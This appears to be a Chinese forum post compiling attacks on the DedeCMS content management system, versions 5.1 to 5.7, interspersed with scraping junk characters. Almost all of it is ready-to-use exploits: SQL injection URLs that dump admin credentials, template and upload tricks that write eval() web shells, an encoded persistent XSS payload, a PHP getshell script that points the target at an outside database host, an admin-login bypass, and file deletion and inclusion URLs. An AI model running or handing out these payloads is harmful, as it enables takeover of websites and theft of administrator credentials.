dedecms漏洞总结

admin

' Z+ I% @! z" u3 M9 RDedecms 5.6 rss注入漏洞
+ ^+ O6 g) l0 _http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
. G: r- L5 u* _" R. K$ }, C



/ y/ u" m; a5 h, a5 o: w$ w  Y

# l& v" M2 Y. W2 O& y

" o: D, c  T2 `. b$ d' l) M: ]# ^) JDedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
- \6 k& F( F1 s; h发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

, C+ t0 U( g3 |, v3 P* X+ h# C
1 Y' o. n& s/ D# D


4 P2 x, m+ c: d- h0 Q
; E3 z) S, M: l
5 F6 M9 O7 D. M% t
, y4 R& q5 e1 Q5 l6 a  Y3 C+ {Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
5 I/ ^& z" u- e, `& m+ w3 `: Rhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7


' B: ?# o: I" v0 n

, P' b7 @8 G, J$ v6 J7 n

( y: M8 G- w/ n+ |- z! v
0 x3 a* u. @2 Q
, S8 Y, a" i. x5 [/ |' cDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
" W$ B: `' [5 o7 m0 bhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`




9 W( Z) \. }4 N5 r7 C; J$ \8 o

DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
" q  _# o5 L3 q; K3 s* T& Y+ ~http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
( N: m! `- _6 f
: R0 \' W" t0 |1 S
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

5 E1 f6 W+ K, S& e: z5 g7 C6 R% D- q
( w& ]% d) ~) X- Rhttp://v57.demo.dedecms.com/dede/login.php


. @& U& E( x3 H2 ^color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
+ ~* m9 y4 B1 l2 @( t  X8 I<?php
2 K7 L! [. p1 t+ |error_reporting(E_ERROR);
' ]+ q5 b+ B% m. r" }/ v8 pset_time_limit(0);
) U& B1 W- x% yprint_r('
DEDEcms Variable Coverage
/ }0 C7 t( G8 J2 AExploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
if($argv[2]==null){
1 v: {' v# M$ R. @4 U7 e0 eprint_r('
+---------------------------------------------------------------------------+
5 C( v  R8 P% V' e& r' ~Usage: php '.$argv[0].' url aid path
7 e" H1 W( i, A4 @, O. Maid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
" S# N1 V( N" [3 C. w. cphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
3 @5 @- R; V, r9 |, @$ d');
exit;
}
$url=$argv[1];
5 l- ~1 c9 ]  k: M% _& \- H$aid=$argv[2];
- `9 |/ |8 c. [# {; X, s; Y2 c3 A$path=$argv[3];
/ h' Q& w+ j+ M3 N0 ]$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
0 k! S2 q8 R4 R) l2 PExploit Success \n";
) y; c; w* g, j3 j: H, tif($aid==1)echo "
' E! J6 \5 w7 k: E% U: s% bShell:".$url."/$path/data/cache/fuck.php\n" ;
. q: L/ k+ F7 E  \  I+ T2 `, O* R+ m2 B
0 T2 j+ G# _: `. I5 y$ F
* |1 g+ b0 _3 @% M4 i- i* B) Sif($aid==2)echo "
) J: I& C7 E, T* e& B$ `% u8 p. z" AShell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";


+ c1 \7 F/ i( b9 N}else{
echo "
+ n/ I) f, G. j) ]Exploit Failed \n";
9 z; y5 s3 ]* Q5 h) r1 D- U}
6 R& N: U& y8 S4 d8 C" r% Ffunction Getshell($url,$aid,$path){
7 W  \5 L% n% l& S+ n$id=$aid;
0 ~( K/ t8 Y% M: }- z8 E$host=$url;
6 l  ~4 j' l" F: ^( X$port="80";
; c& Q/ [  J) M* c8 w9 g$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
; f4 A: |+ U7 [$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
' i, l# ~$ D  S$ ]' l* E5 S7 X# B$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
4 m9 Q: ?9 J5 b& O. ~% f0 S$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
' ?4 n! e: d+ I' n" {$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
8 r# z( A: X/ S6 c& z5 A# {' ]+ C$ock=fsockopen($host,$port);
if (!$ock) {
! k5 E. [) T5 C! B! _5 `& [echo "
No response from ".$host."\n";
}
fwrite($ock,$data);
1 F2 d. d& A1 F( Vwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
& a- ~& ?# U* P6 J: I; T}
}
  {8 I! U4 s! j  B6 q: G
0 P1 ?2 o0 d* `9 X# n
, C) M# k/ S, }9 K+ Z?>

+ x1 d+ |2 \  u6 l$ y7 s
2 G, T; ^0 p5 d
* s- n2 w) k. {' y2 w9 s& b8 }1 i
/ v# I, |7 l+ G5 A

# h0 S- l: k% v4 m2 E: k% L  v2 T  B


6 h8 R, F9 J; z9 R* d/ [! U
, v3 z+ @& n* ]DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
; i' M7 |& c" _8 V
8 o% c" h8 B9 B6 {3 B3 D
/ Q1 `$ b4 F& {把上面validate=dcug改为当前的验证码，即可直接进入网站后台
8 N# A5 x0 X* j) ^

' |# y& p1 A% B4 a此漏洞的前提是必须得到后台路径才能实现



3 o% c3 z" J! e2 p

9 ^/ p% r. [8 ^1 c

$ w7 R0 j  _+ d
. R) j4 ^# ~! ~. t
6 m$ X, K5 N: P
Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
2 {: ^* H) {0 G- q6 b+ g
- G5 F0 D+ Y/ o6 R' f$ U
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
1 i( S# j" P* L0 ?0 v" a* {<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
: X7 o' d5 w9 E; @<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
* x6 @5 X, V4 o7 {* t4 o4 R<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
. \- u* I. @2 j- P# ]<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
* f: b/ O5 n4 f: r' Q. L<input type="text" value="true" name="nocache" style="width:400">
2 e2 r5 A" Y5 g- L<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
5 {) f( z- i/ g5 Y; ^6 v<script>
1 @! M7 J5 q1 [0 f+ ]# j2 sfunction addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
5 k  m8 L( K2 I  P</script>

/ Y0 m% ?, B& o5 u


  d4 [$ {5 f* S  t' E9 |

/ C; i# {) t) m2 j+ o# T- l5 }



DedeCms v5.6 嵌入恶意代码执行漏洞
* v% k8 t/ M+ N! b% [3 P% X+ F注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
  \% w0 u  G) [$ \' y# |, F生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
+ l9 Q8 p# N; \" c; [3 f0 B
: ^, V1 a# d, l/ c8 c* p8 X6 D- T
1 e9 o0 ?% m- D# w% l  f模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
9 A  M. n' A, `6 J) z: \5 J) F3 j: J# @@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
; N2 [; S, @; y% g' j@fclose($fp);
7 `  }2 I: J+ H{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
  j4 A. D* P2 [  l4 {<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
" \# D% Q. i5 z3 N  `4 h<input type="hidden" name="dopost" value="save" />
8 A$ T6 A# ?' \( }! E, ?<input type="hidden" name="aid" value="2" />
' v5 L" A( A: T9 n8 `+ e<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
& X6 V2 d) f$ ?4 D# h6 ?$ z* B<input type="hidden" name="oldlitpic" value="" />
# Y; y! ~7 ?& `: w4 Z<input type="hidden" name="sortrank" value="1275972263" />


4 a3 |& o6 M8 i<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
+ {3 d% e8 U2 a: L5 s$ K

+ ?7 ~% m' z& L- A<div class="postForm">
  p# |: q" n+ J% O$ y8 G* v<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
2 M* j5 S% }2 \: c

<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

/ a! |1 s8 V, s2 b
1 ~3 K% q8 B! n<label>作者：</label>
) ^0 ?: k" D- Z2 C) ?& [<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

! _0 I- ^* }9 l
<label>隶属栏目：</label>
<select name='typeid' size='1'>
% e& m" s  u  W<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
6 r, F+ [+ B' f) @

7 a9 a5 I% q% e6 d6 Y$ N: ~/ R8 \<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
4 C: Q. K* G* W* C</select>
' t7 o" e' k6 }$ k" M1 D5 u8 S
$ n* o8 ?! T5 s7 r
9 s5 H; I- `' ^8 L& g" o<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
3 N( y+ |7 i& B# A  d# V! m; L(内容的简要说明)
$ Q: A. ^5 j( O

6 m" Z8 h9 L+ \) N9 @- A  z<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>
$ j2 y# y; A6 t4 \# Z5 I

; L" W$ U+ `  D0 J4 m( p<!-- 表单操作区域 -->
+ i. |0 _3 u4 Y) ?: l0 g# H( ?0 l) {7 U<h3 class="meTitle">详细内容</h3>
8 A, ]9 ~2 z; g+ g8 `  G1 n

<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
& U1 X/ `4 ?5 H1 ?

<label>验证码：</label>
$ d: p% v6 }: z  f2 J<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
# c4 ~! [; b, j6 G  l; E  O) z<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
; j+ S% S6 f" x" L: A</div>

# m, Z" @0 M! O3 E4 j3 d
</div>

$ S% T- O4 [4 D5 M
</form>
: I6 p. h& ~! s  n) _
; Q# w0 K$ O. z# }' |
# m/ g4 Z+ p$ Q, u提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
& M& W* j& f2 O+ N- P# E
* y$ W6 [& Y/ P# H9 \( R1 K5 D+ {' G
$ ^7 U* U7 h' |2 s' b. O, \
' {  I  Y4 R7 n3 j. r1 y
! d# D# S! C6 @' W& s. L4 j# l/ z
$ D$ q9 K( Q# I5 i) C  H
; l# G( [& B/ I) v$ Q! [
6 i4 y3 W$ `1 v3 @" p% G; w



/ S) s6 D- [/ ?! m: V
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
2 j( r( v+ p- Tphpinfo();
{/dede:field}
% l/ y$ G9 }5 U5 U3 k' g保存为1.gif
( j" i4 G: k  ]<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
& N* b# x2 s& ?- O* d5 z1 Z<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
, v8 X# @1 ]8 h7 j' J0 F<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
! t- J3 Z, X3 ]  @<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
2 s, p2 A8 }" b5 K+ |/ F" h% I

4 K- l1 Q  G% W7 @* k! s& @* V构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
) [7 `- y, [+ ~发表文章，然后构造修改表单如下：


. b9 S7 H: _0 p<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
6 T( f7 x/ W) S" _, c! Q<input type="hidden" name="dopost" value="save" />
( U; y1 E, ]/ B9 P/ u<input type="hidden" name="aid" value="2" />
$ T7 E9 x' Z4 I# z3 ?3 ?6 R<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
2 S+ ]1 k; w9 S9 M<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
! c9 W$ X% y* d% X. y! ]<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
1 W  _. B- O. v$ [<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
! Q! X8 l$ R- ^8 S<select name='typeid' size='1'>
0 b5 I8 o" j1 r8 W/ p0 o* H<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
. K* s0 D% t* A0 V" T# p7 T) ~<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
* n, ^7 u1 [+ n! L: k4 H# [<input type='hidden' name='dede_addonfields' value="templet">
/ M! C( f4 D; p) `& Z<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
3 H) _/ D0 {! z6 v) H+ E1 k: m<button class="button2" type="submit">提交</button>
</form>
5 L. S: q9 U; ^* |' n9 f" R3 w


4 f- C, d: I  Y. x




' s# D4 @7 U% R+ G0 h; G



6 Z; y, K1 p$ J织梦(Dedecms)V5.6 远程文件删除漏洞
- b# o! @+ @6 g) [; o* }# k7 ohttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

) ?3 [& J2 W) r( x, d5 d
4 `' _0 {3 I' w5 F6 N7 P# V
1 K0 l" Z5 a+ k% Y" g. Y
# X6 f' `/ k1 @. h

7 J& m' ^1 N* O4 u" ?- b2 P5 P
- c0 u# v0 B, N3 p
6 m! ?/ P( F- O( x3 _
" D5 M2 l& v. e
! N5 }7 X2 w  y织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
1 T6 |% p/ W0 T1 `* @+ v: g; q


& A4 N6 y+ ?- X- A$ F/ u" l

6 J6 u' q/ [3 W: g  P
+ F, b2 P1 s0 j! j* T
3 B& @; k: a+ Y

" u: [+ A9 l* P+ H# @' H
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
# l! X2 L( \6 s4 K( f6 Y9 Q0 M1 d- \plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
0 n5 G/ t0 p% p' [: b! w6 L' L
* p! [2 ~' a" |  w$ M0 x



* C( D, i; N- c9 \' ]0 I* y; [6 U


  L! R* X$ Y; v/ C2 L% d
( ]' _" R; S: M& @
. j. ]( e* M' H2 e6 D6 \织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='


3 E$ C9 Z9 n3 F& @

$ a) D' B, z) B$ O' l7 m9 A# H



- X3 Z8 i5 z2 h

织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
6 g+ W; Q9 ~: a$ ^8 Z/ T3 D" E</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
9 o: S3 n6 n/ ]8 w; Z  n4 l- f<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
# Z) I+ ~$ t' }<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
+ r, O3 M- I- N$ M: }( W<input type='hidden' name='cfg_not_allowall' value='txt' />
8 ?2 @6 Y5 \+ Z2 k* V  _, Z& E. U<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
, R4 v# \$ a+ ]) W/ D: W: G+ j7 {  a<input type='hidden' name='newname' value='fly.php' />
( u0 b* J+ N2 tSelect U Shell <input type='file' name='uploadfile' size='25' />
/ q. E  c  ]: m' N/ U& W% n<input type='submit' name='sb1' value='确定' />
  s+ Z0 C+ \  _( F3 Y0 a  C</form>
8 }7 m7 N1 O* I5 d4 _<br />It's just a exp for the bug of Dedecms V55...<br />
/ V2 {" ]0 z8 w7 Z( {$ F3 ?Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
0 y) S* p: h3 M$ j; j</html>






, v7 Z  F+ k. ?0 U0 ~3 X- L
2 x( B! _$ g! C* V' I5 z& C& d0 ?

+ i% }3 a7 p) i/ l' }1 I- r
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
! C& w% o) R* v, ]' p4 x1. 访问网址：
, r8 _( S8 [# F  [6 W+ M1 vhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
7 o" `0 A; V+ S
+ ], Q) c' Q5 g6 b8 f' P
6 r  r. E7 c- B( J3 n2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


1 O. C% g  t  K1 x* z2 Q% \% B9 Z3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
& E# b) ]$ [; O# Z: J& |7 E+ h

% h; x: ~1 V5 u4 b<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


" h* |5 k% w9 P% F按确定后的看到第2步骤的信息表示文件木马上传成功.
4 `, ]. P' c1 {% Q" E  h

+ k8 T# R/ C7 X, \! o) f: r
0 J* _7 }, G; B! a
+ H/ A- }$ I. s  N( n

( ^. c# f% I& k1 Y/ T
1 v, }: S; j8 y, S7 ?7 m
/ V% c1 M+ I5 s$ r* [
/ k* Y- u; ]8 w" e9 F/ g' j

( P& x. B* Z% x: l' L
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*